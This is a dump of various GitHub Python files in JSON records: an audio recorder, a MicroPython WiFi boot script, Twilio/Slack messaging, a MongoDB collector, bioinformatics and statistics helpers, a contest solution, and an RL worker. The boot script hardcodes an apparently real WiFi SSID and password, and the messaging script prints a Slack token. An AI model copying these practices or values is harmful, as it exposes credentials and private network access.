str(meta_file_path),\r\n                    \"timestamp_file\": str(time_stamp_file_name),\r\n                    \"timestamp_file_path\":  str(time_stamp_file_path),                \r\n                    \"microphone\": test_microphone,\r\n                    \"sampling_rate\": test_sampling_rate,\r\n                    \"recording_mode\": test_recording_mode,\r\n                    \"number_measuring_paths\": test_number_of_measuring_paths,\r\n                    \"measuring_path_length\": test_measuring_path,\r\n                    \"offset\": test_offset,\r\n                    \"feed_speed\": test_feed_speed,\r\n                    \"feed_acceleration\": test_feed_acceleration,\r\n                    \"object\": test_object,\r\n                    \"nozzle\": test_nozzle,\r\n                    \"recording_time\": test_required_recording_time,\r\n                    \"time_per_path\": ts_p,\r\n                    \"test_object_number\": test_object_number,\r\n                }\r\n\r\n            with open(meta_file_path, \"w\") as json_file:\r\n                json.dump(audio_file_meta, json_file)\r\n            st.write(\r\n                \"Audio file and metadata file for \" + str(audio_file_name) + \"  were saved in \" + str(meta_file_name) + \" .\"\r\n            )\r\n\r\n        else:\r\n            st.write(\"Record a new audio file first.\")\r\n\r\n    deletefile = col_rec_3.button(\"Delete\")\r\n\r\n    if deletefile == True:\r\n\r\n        old_temp_path = Path(f\"audio-files/{mode_path_name}/0_temporary_files\")\r\n        old_temp_path_file = old_temp_path / \"temporary_file.wav\"\r\n        if os.path.exists(old_temp_path_file):\r\n            os.remove(old_temp_path_file)\r\n            st.write(\"Your recording was deleted\")\r\n        else:\r\n            st.write(\"There is no recording yet that could be deleted.\")\r\n","repo_name":"TschuBow/MA-Julian","sub_path":"Aeroacoustic ML Tool/audio_recorder.py","file_name":"audio_recorder.py","file_ext":"py","file_size_in_byte":32785,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"28169392271","text":"import gc \nimport webrepl\nimport network\n\n# WiFi variables\nssid = \"ATT7WXji9I\"\npwd  = \"pzjdhzsat6sf\"\n\nwebrepl.start()\ngc.collect()\nsta_if = network.WLAN(network.STA_IF)\nap_if  = network.WLAN(network.AP_IF)\nap_if.active(False)\nif not sta_if.isconnected():\n  print('Connecting to WiFi...')\n  sta_if.active(True)\n  sta_if.connect(ssid, pwd)\n  while not sta_if.isconnected():\n   # pass$\n    print('network config:', sta_if.ifconfig())\n\n","repo_name":"curiousmango13/HodorAlertSystem","sub_path":"working boot.py","file_name":"working boot.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"36120279161","text":"# Defines the text_myself() function that texts a message\n# passed to it, as a string\n\nfrom twilio.rest import Client\nimport slack\nfrom configparser import ConfigParser\n\nconfig_object = ConfigParser()\nconfig_object.read('config.ini')\n\n#preset values\n\ncell = config_object['TWILIO']['my_cell_number']\naccount_sid = config_object['TWILIO']['account_sid']\nauth_token = config_object['TWILIO']['auth_token']\nmy_twilio_number = config_object['TWILIO']['my_twilio_number']\nmy_cell_number = config_object['TWILIO']['my_cell_number']\n\nslack_token = config_object['SLACK']['slack_token']\n\nprint(cell)\nprint(slack_token)\n\ndef text_myself(message):\n\ttwilio_cli = Client(account_sid, auth_token)\n\ttwilio_cli.messages.create(body=message, from_=my_twilio_number, to=my_cell_number)\n\n\ndef slack_to_covid(message):\n\tclient = slack.WebClient(token=slack_token)\n\tclient.chat_postMessage(channel='colorado-covid', text=message)\n\n# slack_to_covid('Testing parser')\n# text_myself('Testing text')\n\n\n","repo_name":"bethhayden23/colorado_covid_tracking","sub_path":"messaging.py","file_name":"messaging.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71410278089","text":"#!/usr/bin/env python\n\nimport logging\nimport logging.handlers\nimport os\nimport signal\nimport sys\nimport time\nimport uuid\n\nfrom argparse import ArgumentParser\n\nfrom mongodrums.collector import CollectorRunner\nfrom mongodrums.config import get_config, update\nfrom mongodrums.sink import QueryProfileSink, IndexProfileSink\nfrom mongodrums.util.daemon import Daemonize\n\n\nshould_exit = False\n\n\nclass Collector(Daemonize):\n    def __init__(self, args):\n        super(Collector, self).__init__(args.pid_file)\n        self.args = args\n\n    def run(self):\n        logging.info('running collector...')\n        update({'collector': {\n                    'session': self.args.session,\n                    'mongo_uri': self.args.uri,\n                    'addr': self.args.addr,\n                    'port': self.args.port\n                },\n                'index_profile_sink': {\n                    'mongo_uri': self.args.uri\n                 },\n                'query_profile_uri': {\n                    'mongo_uri': self.args.uri\n                }})\n        collector = CollectorRunner([IndexProfileSink(), QueryProfileSink()])\n        collector.start()\n        while not should_exit:\n            time.sleep(.1)\n        collector.stop()\n        collector.join()\n        logging.info('collector stopped...')\n\n\ndef run_collector(args):\n    collector = Collector(args)\n    if args.action == 'foreground':\n        collector.run()\n    else:\n        getattr(collector, args.action)()\n\n\ndef signal_handler(sig_num, frame):\n    global should_exit\n    if sig_num == signal.SIGINT or sig_num == signal.SIGTERM:\n        should_exit = True\n\n\ndef main():\n    config = get_config()\n\n    parser = ArgumentParser('run collector')\n\n    parser.add_argument('-v', '--verbose', action='store_true',\n                        help='be verbose [default: %(default)s]')\n    parser.add_argument(\n        '-u', '--uri', default='mongodb://127.0.0.1:27017/mongodrums',\n        metavar='URI', help='the database to push collected profiling stats '\n                            'to [default: %(default)s]')\n    parser.add_argument(\n        '-s', '--session', default=str(uuid.uuid1()), metavar='SESSION',\n        help='name the current session [default: %(default)s]')\n    parser.add_argument(\n        '-p', '--pid-file', metavar='PATH', default='/tmp/md_collector.pid',\n        help='pid file path [default: %(default)s]')\n    parser.add_argument(\n        '-l', '--log-file', metavar='PATH', default='/tmp/md_collector.log',\n        help='log file path [default: %(default)s]')\n    parser.add_argument(\n        'action', default='foreground', metavar='ACTION',\n        choices=['start', 'stop', 'restart', 'foreground'],\n        help='control the daemon process [choices: %(choices)s; default: '\n             '%(default)s]')\n    parser.add_argument(\n        '--port', default=config.collector.port, type=int, metavar='PORT',\n        help='the port to listen on [default: %(default)s]')\n    parser.add_argument(\n        '--addr', default=config.collector.addr, metavar='ADDR',\n        help='the address to listen on [default: %(default)s]')\n\n    args = parser.parse_args()\n\n    level = logging.DEBUG if args.verbose else logging.INFO\n    logging.basicConfig(level=level)\n    logger = logging.getLogger()\n    logger.addHandler(\n        logging.handlers.RotatingFileHandler(args.log_file, 'a', 2**20, 2))\n\n    signal.signal(signal.SIGINT, signal_handler)\n    signal.signal(signal.SIGTERM, signal_handler)\n\n    run_collector(args)\n\n\nif __name__ == '__main__':\n    sys.exit(main())\n\n","repo_name":"gregbanks/mongodrums","sub_path":"scripts/run_collector.py","file_name":"run_collector.py","file_ext":"py","file_size_in_byte":3538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14781259581","text":"# writes coverage in simple reduced format\n# python write_cov_in_new_format.py *subset* *good_depth*\n\n\nimport sys\nfrom joblib import Parallel, delayed\nimport multiprocessing\n\nSUBSET = sys.argv[1]\nGOOD_DEPTH = int(sys.argv[2])\nPATH = 'new_format/'\n\nsubset = [line[:-1] for line in open(SUBSET).readlines()]\n\ndef write_cov_in_new_format(id, PATH):\n\n\tprint(id)\n\t\n\tcov = [[int(line[:-1].split(' ')[0]), int(line[:-1].split(' ')[1])] for line in open('../../data/coverage_locuses/' + id + '.txt').readlines()]\n\tif cov[0][1] >= GOOD_DEPTH:\n\t\tnew_cov = [['GOOD', cov[0][0], cov[0][0]]]\n\telse:\n\t\tnew_cov = [cov[0]]\n\n\tfor line in cov[1:]:\n\t\tif line[1] >= GOOD_DEPTH:\n\t\t\tif new_cov[-1][0] == 'GOOD' and line[0] == new_cov[-1][2] + 1:\n\t\t\t\tnew_cov[-1][2] = line[0]\n\t\t\telse:\n\t\t\t\tnew_cov.append(['GOOD', line[0], line[0]])\n\t\telse:\n\t\t\tnew_cov.append(line)\n\n\tfor i in range(len(new_cov)):\n\t\tfor j in range(len(new_cov[i])):\n\t\t\tnew_cov[i][j] = str(new_cov[i][j])\n\n\tfile = open(PATH + id + '.txt', 'w')\n\n\tfor el in new_cov:\n\t\tfile.write(' '.join(el) + '\\n')\n\n\tfile.close()\n\t\t\t\n\n\nParallel(n_jobs=-1)(delayed(write_cov_in_new_format)(id, PATH) for id in subset)\n\n","repo_name":"chukrello/MTB-diagnostic-software","sub_path":"2_coverage/write_cov_in_new_format.py","file_name":"write_cov_in_new_format.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32625167351","text":"N, K, P = map(int, input().split())\nA = list(map(int, input().split()))\n\nimport bisect\n\nn = N//2\nm = N - n\nzenhan = [[] for _ in range(n + 1)]\nkohan = [[] for _ in range(m + 1)]\n\n\nfor i in range(1 << n):\n    total = 0\n    count = 0\n    for j in range(n):\n        if i >> j & 1:\n            total += A[j]\n            count += 1\n\n    zenhan[count].append(total)\n\nfor i in range(1 << m):\n    total = 0\n    count = 0\n    for j in range(m):\n        if i >> j & 1:\n            total += A[n+j]\n            count += 1\n\n    kohan[count].append(total)\n\nfor i in range(len(zenhan)):\n    zenhan[i].sort()\n\nfor i in range(len(kohan)):\n    kohan[i].sort()\n\n\nans = 0\nfor i in range(len(zenhan)):\n    for money in zenhan[i]:\n        if money > P:\n            break\n        if 0 <= K-i < len(kohan): \n            ans += bisect.bisect_right(kohan[K-i], P-money)\n\nprint(ans)\n","repo_name":"tamlog06/Atcoder-Beginner-Contest","sub_path":"problems/Typical/typical90/ay/typical90_ay.py","file_name":"typical90_ay.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"37137335789","text":"from scipy.stats import norm\nimport numpy as np\nimport pandas as pd\ndef extract_cols(h5mat, col_names, target_names):\n    col_names = np.array(col_names)\n    target_names = np.array(target_names)\n    target_idx = np.where(np.isin(col_names, target_names))[0].flatten().tolist()\n    subcols = col_names[target_idx]\n    submat = h5mat[:, target_idx]\n    return submat, subcols\ndef remove_constant_row(mat, row_names):\n    row_names = np.array(row_names)\n    std = np.std(mat, axis = (1))\n    return mat[std != 0, :], row_names[std != 0]\ndef inv_norm_row(mat):\n    return np.apply_along_axis(inv_norm_vec, 1, mat)\ndef inv_norm_vec(vec, offset = 1):\n    rank = myrank(vec)\n    return norm.ppf(rank / (len(rank) + offset), loc = 0, scale = 1)\ndef myrank(vec):\n    argsort = np.argsort(vec)\n    ranks = np.empty_like(argsort)\n    ranks[argsort] = np.arange(len(vec))\n    return ranks + 1  # rank starts from 1\ndef format_to_gcta_grm(mat):\n    nobs = mat.shape[0]\n    nindiv = mat.shape[1]\n    grm = np.dot(mat.transpose(), mat) / nobs\n#     row_index = [ i for j in range(nindiv - i) for i in range(nindiv) ]  # 0-base\n#     col_index = [ j for j in range(i, nindiv) for i in range(nindiv) ]  # 0-base\n    indices = np.tril_indices(nindiv)\n    grm_values = grm[indices]\n    nobs_vec = np.ones(grm_values.shape[0]) * nobs\n    df = pd.DataFrame({'idx1': indices[0] + 1, 'idx2': indices[1] + 1, 'nobs': nobs_vec.astype(int), 'gr': grm_values})\n    return df\ndef get_header(filename):\n    f = open(filename, 'r')\n    samples = f.readline().strip().split('\\t')\n    f.close()\n    return samples\ndef read_pred_expr_as_mt(filename):\n    # the file should be TSV\n    # it should have a column named 'gene'\n    # all other columns are considered as samples\n    # it returns hail MatrixTable with columns as samples (key 's') and rows as gene (key 'gene')\n    # and entry 'pred_expr'\n    samples = get_header(filename)\n    samples.pop(samples.index('gene'))  # we remove 'gene' here since we only want samples\n    type_dic = {\n        k : hl.tfloat for k in samples\n    }\n    type_dic['gene'] = hl.tstr\n    pred_expr = hl.import_table(filename, types = type_dic)\n    pred_expr = (pred_expr\n        .key_by('gene')\n        .to_matrix_table_row_major(columns = samples, entry_field_name = 'pred_expr', col_field_name = 's')\n    )\n    return pred_expr\ndef read_tsv(filename, sample_col):\n    # the file should be TSV\n    # it should have one column named sample_col for sample ID\n    # all other columns are considered as float!\n    # it returns hail Table with row as sample (key 's') \n    float_cols = get_header(filename)\n    float_cols.pop(float_cols.index(sample_col))  # we remove the column for sample ID here\n    type_dic = {\n        k : hl.tfloat for k in float_cols\n    }\n    type_dic[sample_col] = hl.tstr\n    ht = hl.import_table(filename, types = type_dic)\n    ht = ht.annotate(s = ht[sample_col])\n    ht = ht.key_by('s')\n    ht = ht.drop(sample_col)\n    ht = ht.repartition(ht.n_partitions())\n    return ht\ndef struct_to_np_array(struct, exclude_cols):\n    m = len(struct[0].collect())\n    colnames = list(struct.keys())\n    n = np.sum(np.logical_not(np.isin(colnames, exclude_cols)))\n    out_array = np.empty([m, n])\n    counter = 0\n    for i in range(len(colnames)):\n        if colnames[i] not in exclude_cols:\n            out_array[:, i] = struct[i].collect()\n    return out_array\ndef tsv_to_pd_df(filename, indiv_col):\n    return  pd.read_csv(filename, header = 0, sep = '\\t', dtype = {indiv_col: str})\ndef standardize_row(mat):\n    return np.apply_along_axis(standardize_vec, 1, mat)\ndef standardize_vec(vec):\n    return _divide(vec - np.mean(vec), np.std(vec))\ndef _divide(a, b):\n    return np.divide(a, b, out = np.zeros_like(a), where = (b != 0))\ndef truncate_evd(w, v, lambda_max_over_lambda = 1 / 30):\n    w_max = np.max(w)\n    w_scaled = w / w_max\n    idx = np.where(w_scaled > lambda_max_over_lambda)[0]\n    if idx.size == 0:\n        w_keep = None\n        v_keep = None\n    else:\n        idx = np.min(idx)\n        w_keep = w[idx:]\n        v_keep = v[:, idx:]\n    return w_keep, v_keep\n","repo_name":"liangyy/ptrs-ukb","sub_path":"code/gcta_helper.py","file_name":"gcta_helper.py","file_ext":"py","file_size_in_byte":4091,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"11082547143","text":"from thefuzz import fuzz, process\r\nimport re\r\n\r\noriginalAdd = \"#1991, Datta Nagar, Koregaon Bhima, Pune, 412216\" # doc address\r\nmanualAdd = \"1991, Data Nagar, Koregaonn Bhimaa, Pune, 412216\" # manual address\r\n\r\nprint(originalAdd)\r\nprint(manualAdd)\r\n\r\n#function for extract house no , pincode\r\ndef numnerList(address):\r\n    str4 = re.findall(r'\\d+', address) # extract numbers from addresses\r\n    res = list(map(int, str4)) #convert string into integer and then map to make a list\r\n    return res #it will return [house no , pincode , any other number...]\r\n\r\nlistOfNumbers1 = numnerList(originalAdd)  # it will atore the results for str1\r\n#print(listOfNumbers1) \r\nlistOfNumbers2 = numnerList(manualAdd) # it will atore the results for str1\r\n#print(listOfNumbers2)\r\n\r\n# Extract words from string\r\ndef wordExtract(word):\r\n    word1 = re.findall(r'[a-zA-Z]+', word) # extract word from string \r\n    return word1\r\n\r\n\r\nlistOfWords1 = wordExtract(originalAdd) # list of words for original address\r\n#print(listOfWords1)\r\nlistOfWords2 = wordExtract(manualAdd) # list of words for manual address\r\n#print(listOfWords2)\r\n\r\n#converting list of word into string  \r\noriginalAddText = \" \".join(map(str, listOfWords1))\r\n#print(originalAddText)\r\nmanualAddText = \" \".join(map(str, listOfWords2))\r\n#print(manualAddText)\r\n\r\n\r\n# compare digit lists house no, pincode\r\n# if listOfNumbers1 != listOfNumbers2:\r\n#     print(\"house no and pincode matched\")\r\n# else:\r\n#     print(\"house no and pincode not matched\")\r\n\r\n# it will return ratio by comparing only addresses string\r\nmatch = fuzz.ratio(originalAddText, manualAddText)\r\n\r\n#check the approvable\r\n# if match>=90 and listOfNumbers1[0] == listOfNumbers2[0]:\r\n#     print(\"Loan approved\")\r\n# else:\r\n#     print(\"Please write correct address\")\r\n\r\n\r\n\r\n\r\n# compare digit lists house no, pincode\r\nif listOfNumbers1 == listOfNumbers2:\r\n    print(\"house number amd pin code matched\")\r\n    if listOfNumbers1[0] == listOfNumbers2[0] and listOfNumbers2[-1] == listOfNumbers2[-1]:\r\n         if match>=90:\r\n            print(\"document matched with property address\")\r\n         else:\r\n            print(\"\")      \r\n   \r\nelse:    \r\n    if listOfNumbers1[0] != listOfNumbers2[0]:\r\n        print(\"house number not matched\")\r\n        print(\"------------------\")\r\n    if listOfNumbers1[-1] != listOfNumbers2[-1]:\r\n        print(\"pin code not matched\")\r\n        print(\"------------------\")\r\n    \r\n\r\n\r\n\r\n    ","repo_name":"sagarpol3008/BasicPrograms","sub_path":"stringmatch.py","file_name":"stringmatch.py","file_ext":"py","file_size_in_byte":2415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10500285882","text":"import sys\nsys.stdin = open(\"input.txt\")\n\nT = int(input())\n\n\n# 중위순회하면서 노드 수 더하는 함수\ndef tree_search(node):\n    global count\n    if node > 0:\n        tree_search(left[node])\n        count += 1\n        tree_search(right[node])\n\n\nfor tc in range(1, T+1):\n    E, N = map(int, input().split())\n    info = list(map(int, input().split()))\n    # 두 개의 리스트로 트리 구현\n    left = [0] * (E+2)\n    right = [0] * (E+2)\n    # 인덱스: 부모, 값: 자식\n    while info:\n        child = info.pop()\n        parent = info.pop()\n        if left[parent] == 0:\n            left[parent] = child\n        else:\n            right[parent] = child\n    # 노드 수 count 초기화\n    count = 0\n    # 중위순회\n    tree_search(N)\n\n    print(\"#{} {}\".format(tc, count))\n\n","repo_name":"mann-WOO/SWEA","sub_path":"5174_Subtree/sol1.py","file_name":"sol1.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"15805364194","text":"import os, sys\nimport time, math\nimport multiprocessing\nfrom abc import ABC, abstractmethod\n\nimport tensorflow as tf\nimport numpy as np\nimport random\n\nfrom .utils import build_worker_name, build_summaries, Summary\n\n\nclass AbstractDistributedWorker(ABC):\n\n    GLOBAL_NET_NAME = \"global_net\"\n\n    def __init__(self, _job_name, _task_id, _is_chief, _is_evaluator,\n                _env_wrapper, _network_wrapper, _on_policy, \n                batch_size, unroll_length, \n                opt_epochs=1, episodic_training=False, render=False,\n                _seed=None, _log_dir=None, _max_samples=None#, _max_iterations=None\n                ):\n        self.name = build_worker_name(_job_name, _task_id)\n        self.job_name = _job_name\n        self.task_id = _task_id\n        self.is_chief = _is_chief\n        self.is_evaluator = _is_evaluator\n        self.seed = _seed\n        self.log_dir = _log_dir\n\n        # self.max_iterations = _max_iterations\n\n        self.env_wrapper = _env_wrapper\n        self.network_wrapper = _network_wrapper\n\n        self.on_policy = _on_policy\n\n        self.batch_size = batch_size\n        self.unroll_length = unroll_length\n        self.opt_epochs = opt_epochs\n        self.episodic_training = episodic_training\n\n        self.render = render\n\n        self.env, self.global_net= None, None\n        self.logger = None\n        self.opt_op = None\n        self.summary_op = None\n        self.global_step = None\n        self.init_ops = None\n        self.pull_weights = None\n        self.update_ops = None\n    \n        self.hooks = []\n\n        self.max_samples = _max_samples\n\n    @property\n    def off_policy(self):\n        return not self.on_policy\n\n    @off_policy.setter\n    def off_policy(self, v):\n        self.on_policy = not v\n\n    def set_env_seed(self, seed):\n        if callable(getattr(self.env, \"seed\", None)): self.env.seed(seed)\n        try:\n            self.env.action_space.np_random.seed(seed)\n        except:\n            pass\n\n    def set_seed(self, seed):\n        random.seed(seed)\n        os.environ['PYTHONHASHSEED']=str(seed)\n        tf.set_random_seed(seed)\n        self.set_env_seed(seed)\n        np.random.seed(seed)\n\n    def init(self):\n        self.env = self.env_wrapper(self.name, self.render)\n        self.set_seed(self.seed)\n        if self.log_dir:\n            self.logger = Summary(os.path.join(self.log_dir, self.name))\n        else:\n            self.logger = None\n        if callable(getattr(self.env, \"init\", None)):\n            self.env.init()\n        with tf.variable_scope(\"step\"):\n            self.global_step = tf.train.get_or_create_global_step()\n        self.global_net, self.inc_global_episode, inc_total_samples = \\\n            self.build_global_net(not self.is_evaluator, self.network_wrapper, self.env)\n        if inc_total_samples is None:\n            self.inc_total_samples = None\n        else:\n            self.inc_total_samples = lambda step_context: step_context.session.run(inc_total_samples)\n        self.local_net = self.target_net = self.global_net\n        if self.global_net.trainable and hasattr(self.global_net, \"init_ops\") and self.global_net.init_ops:\n            self.init_ops = lambda step_context: step_context.session.run(self.global_net.init_ops)\n        \n    @staticmethod\n    def build_global_net(trainable, network_wrapper, env):\n        with tf.variable_scope(AbstractDistributedWorker.GLOBAL_NET_NAME):\n            net = network_wrapper(env, trainable)\n            net.init()\n            with tf.variable_scope(\"episode\"):\n                global_episode = tf.Variable(0, dtype=tf.int32, trainable=False, name=\"episode\")\n                if trainable:\n                    inc_global_episode = tf.assign_add(global_episode, 1, name=\"inc_episode\")\n                else:\n                    inc_global_episode = None\n            with tf.variable_scope(\"samples\"):\n                if trainable:\n                    total_samples = tf.Variable(0, dtype=tf.int64, trainable=False, name=\"samples\")\n                    inc_total_samples = tf.assign_add(total_samples, 1, name=\"inc_samples\")\n                else:\n                    inc_total_samples = None\n        return net, inc_global_episode, inc_total_samples\n    \n    def build_local_net(self, name):\n        pass    \n\n    def build_sync_vars(self, local_net_name):\n        global_vars = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, self.GLOBAL_NET_NAME)\n        local_vars = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, local_net_name)\n        sync_local_vars, sync_global_vars = [], []\n        for v in global_vars:\n            try:\n                for lv in local_vars:\n                    if local_net_name + \"/\" + v.name.split(\"/\", 1)[1] in lv.name and  lv != v:\n                        sync_local_vars.append(lv)\n                        sync_global_vars.append(v)\n            except:\n                print(\"[WARN] Failed to find the local copy of the global variable: {}\".format(v))\n        return sync_local_vars, sync_global_vars\n    \n    @abstractmethod\n    def build_optimizer(self, local_net, local_vars, target_vars):\n        raise NotImplementedError\n    \n    def build_summaries(self, target_net):\n        return build_summaries(target_net)\n    \n    def stop(self):\n        if self.logger:\n            self.logger.flush()\n        try:\n            self.env.close()\n        except:\n            pass\n        if not self.is_evaluator:\n            print(\"[SYSTEM] Stopping {}\".format(self.name))\n    \n    def work(self, sess):\n        self.batch_size = None if self.batch_size is None else int(self.batch_size)\n        self.unroll_length = None if self.unroll_length is None else int(self.unroll_length)\n        self.opt_epochs = None if self.opt_epochs is None else int(self.opt_epochs)\n        self.request_stop = False\n        self.before_work(sess)\n        while not (sess.should_stop() or self.request_stop):\n            state = self.before_episode(sess)\n            terminal = False\n            while not terminal:\n                action, *_ = self.sample_action(sess, state)\n                state, _, terminal, info = self.interact_with_env(sess, state, action)\n                if self.target_net.trainable:\n                    need_train = self.need_train(sess, terminal, state, info)\n                    if self.sequence_length is not None:\n                        if terminal or self.episodic_terminal:\n                            n = len(self.exp[\"state\"]) - sum(self.sequence_length)\n                            if self.unroll_length is not None:\n                                remaining = self.unroll_length - n\n                                for _, buf in self.exp.items():\n                                    for __ in range(remaining):\n                                        buf.append(np.zeros_like(buf[0]))\n                            self.sequence_length.append(n)\n                            self.sequence_terminal.append(terminal)\n                    if need_train:\n                        if self.sequence_length is not None:\n                            if self.unroll_length is None:\n                                max_n = max(self.sequence_length)\n                                for i, n in enumerate(self.sequence_length):\n                                    if n < max_n:\n                                        remaining = max_n - n\n                                        for _, buf in self.exp.items():\n                                            for __ in range(remaining):\n                                                buf.insert(i*max_n+n, np.zeros_like(buf[0]))\n                            self.episodic_train(sess)\n                        else:\n                            self.flat_train(sess)\n                        self.after_train(sess)\n            self.after_episode(sess, info)\n        self.after_work(sess)\n    \n    def sync(self, sess):\n        if self.pull_weights:\n            sess.run_step_fn(self.pull_weights)\n            \n    def setup_buffers(self):\n        if self.exp_buffers is not None:\n            if self.sequence_length is not None:\n                buf_size = self.batch_size*self.unroll_length if self.unroll_length is not None else 4096\n            else:\n                buf_size = self.unroll_length if self.unroll_length is not None else 4096\n            self.exp = {k: [None]*buf_size for k in self.exp_buffers}\n            for _, v in self.exp.items(): v.clear()\n            \n\n    def clear_buffers(self):\n        if self.on_policy:\n            if self.exp_buffers is not None:\n                for _, v in self.exp.items(): v.clear()\n            if hasattr(self, \"last_training_state\"):\n                self.sequence_length.clear()\n                self.sequence_terminal.clear()\n        self.sample_counter = 0\n    \n    def before_work(self, sess):\n        if self.episodic_training:\n            self.sequence_length = []\n            self.sequence_terminal = []\n            self.last_training_state = None\n        else:\n            self.sequence_length = None\n        self.evaluator_counter = 0\n        self.sample_counter = 0\n        self.setup_buffers()\n        if self.init_ops: sess.run_step_fn(self.init_ops)\n        self.sync(sess)\n    \n    def after_work(self, sess):\n        self.stop()\n\n    def before_episode(self, sess):\n        self.local_net.reset_running_state()\n        if not self.evaluator_counter:\n            self.total_reward, self.episode_step = 0.0, 0\n        self.episode_buffer_stamp = 0\n        return self.env.reset()\n\n    def after_episode(self, sess, info):\n        if self.is_evaluator and hasattr(self, \"total_samples\"):\n            self.evaluator_counter += 1\n            if self.evaluator_counter >= self.is_evaluator:\n                self.episode_step /= self.evaluator_counter\n                self.total_reward /= self.evaluator_counter\n                summaries = [\n                    tf.Summary.Value(tag=\"performance_test/reward\", simple_value=self.total_reward),\n                    tf.Summary.Value(tag=\"performance_test/reward_avg\", simple_value=self.total_reward/self.episode_step),\n                    tf.Summary.Value(tag=\"performance_test/frames\", simple_value=self.episode_step)\n                ]\n                summaries.append(tf.Summary.Value(tag=\"performance_test/samples\", simple_value=self.total_samples))\n                print(\"[PERFORM] Life Time: {}; Total Reward: {:.4f}; Avg Reward: {:.4f}; Step: {}; Samples: {}; {}\".format(\n                    self.episode_step, self.total_reward, self.total_reward/self.episode_step, self.global_step, self.total_samples,\n                    time.strftime(\"%m-%d %H:%M:%S\", time.localtime())\n                ))\n                self.summary = tf.Summary(value=summaries)\n                # self.request_stop = True\n                self.evaluator_counter = 0\n\n    def sample_action(self, sess, state):\n        return self.local_net.run(sess, state, self.update_ops)\n\n    def interact_with_env(self, sess, state, action):\n        self.sample_counter += 1\n        self.episode_step += 1\n        \n        if hasattr(self.env.action_space, \"low\"):\n            a = np.clip(action, self.env.action_space.low, self.env.action_space.high)\n        else:\n            a = action\n\n        state_, reward, terminal, info = self.env.step(a)\n        \n        self.exp[\"state\"].append(state)\n        self.exp[\"action\"].append(action)\n        self.exp[\"reward\"].append(reward)\n        if \"episode_reward\" in info:\n            if info[\"episode_reward\"] != 0:\n                for i in range(self.episode_buffer_stamp, len(self.exp[\"reward\"])):\n                    self.exp[\"reward\"][i] += info[\"episode_reward\"]\n                self.total_reward += (len(self.exp[\"reward\"])-self.episode_buffer_stamp)*info[\"episode_reward\"]\n            self.episode_buffer_stamp = len(self.exp[\"reward\"])\n        \n        self.total_reward += reward\n        \n        if self.inc_total_samples is not None:\n            self.total_samples = sess.run_step_fn(self.inc_total_samples)\n\n        return state_, reward, terminal, info\n\n    def need_train(self, sess, terminal, last_state, info):\n        if self.episodic_training:\n            if terminal or self.episodic_terminal:\n                return len(self.sequence_length)+1 >= self.batch_size\n            return False\n        if self.unroll_length is None:\n            return terminal\n        return self.sample_counter >= self.unroll_length\n    \n    @property\n    def episodic_terminal(self):\n        if hasattr(self, \"sequence_length\") and self.sequence_length is not None and self.unroll_length is not None:\n            n = len(self.sequence_length)\n            if n > 0: n *= max(self.sequence_length)\n            return len(self.exp[\"state\"]) - n >= self.unroll_length\n        return False\n\n    def after_train(self, sess):\n        self.sync(sess)\n        self.clear_buffers()\n        if self.inc_total_samples is not None and self.max_samples is not None:\n            if hasattr(self, \"total_samples\") and self.total_samples > self.max_samples:\n                #self.request_stop = True\n                for h in sess._hooks:\n                    if isinstance(h, tf.train.StopAtStepHook):\n                        h._last_step = self.global_step\n                        break\n\n    def flat_train(self, sess):\n        n = len(self.exp[\"state\"])\n        exp_bak = self.exp\n        if self.on_policy: # disposable experience replay buffer\n            exp = {\n                k: np.asarray(v, dtype=np.float32) for k, v in exp_bak.items()\n            }\n            ids = np.arange(n)\n            self.current_opt_epoch = 0\n            while self.current_opt_epoch < self.opt_epochs:\n                np.random.shuffle(ids)\n                if self.batch_size:\n                    for s in range(0, n, self.batch_size):\n                        e = s + self.batch_size\n                        cand = ids[s:e]\n                        self.exp = {\n                            k: buf[cand] for k, buf in exp.items()\n                        }\n                        self.train(sess)\n                else:\n                    self.exp = {\n                        k: buf[ids] for k, buf in exp.items()\n                    }\n                    self.train(sess)\n                self.current_opt_epoch += 1\n        elif n >= self.batch_size:\n            for _ in range(self.opt_epochs if self.opt_epochs else self.sample_counter):\n                ids = np.random.choice(n, self.batch_size)\n                self.exp = {\n                    k: list(map(v.data.__getitem__, ids)) for k, v in exp_bak.items()\n                }\n                self.train(sess)\n        self.exp = exp_bak\n\n    def episodic_train(self, sess):\n        assert(self.on_policy)\n        for _ in range(self.opt_epochs):\n            #self.batch_size x (self.unroll_length or self.sequence_length[0:])\n            if not hasattr(self, \"last_training_state\") or self.last_training_state is None or self.batch_size > 1:\n                # the training state should be reset to zero state\n                # for multiple-batch cases, since some previous training\n                # batches may lead the terminal state\n                self.target_net.reset_training_state()\n            else:\n                self.target_net.reset_training_state(self.last_training_state)\n            self.train(sess)\n        if hasattr(self, \"last_training_state\") and self.batch_size <= 1:\n            if len(self.sequence_terminal) < 1 or self.sequence_terminal[-1]:\n                self.last_training_state = None\n            else:\n                self.last_training_state = self.target_net.training_state\n\n    def train(self, sess):\n        if sess.should_stop() or self.request_stop:\n            return None, None\n        ops = self.train_ops\n        loss, result = self.target_net.train(\n            sess, self.opt_op, ops, *self.train_args\n        )\n        summary = result[ops.index(self.summary_op)]\n        global_step = result[ops.index(self.global_step)]\n        if self.logger and summary:\n            self.logger.add_summary(summary, global_step)\n        # if self.max_iterations and global_step >= self.max_iterations:\n        #     self.request_stop = True\n        return loss, result\n    \n    @property\n    def exp_buffers(self):\n        return [\"state\", \"action\", 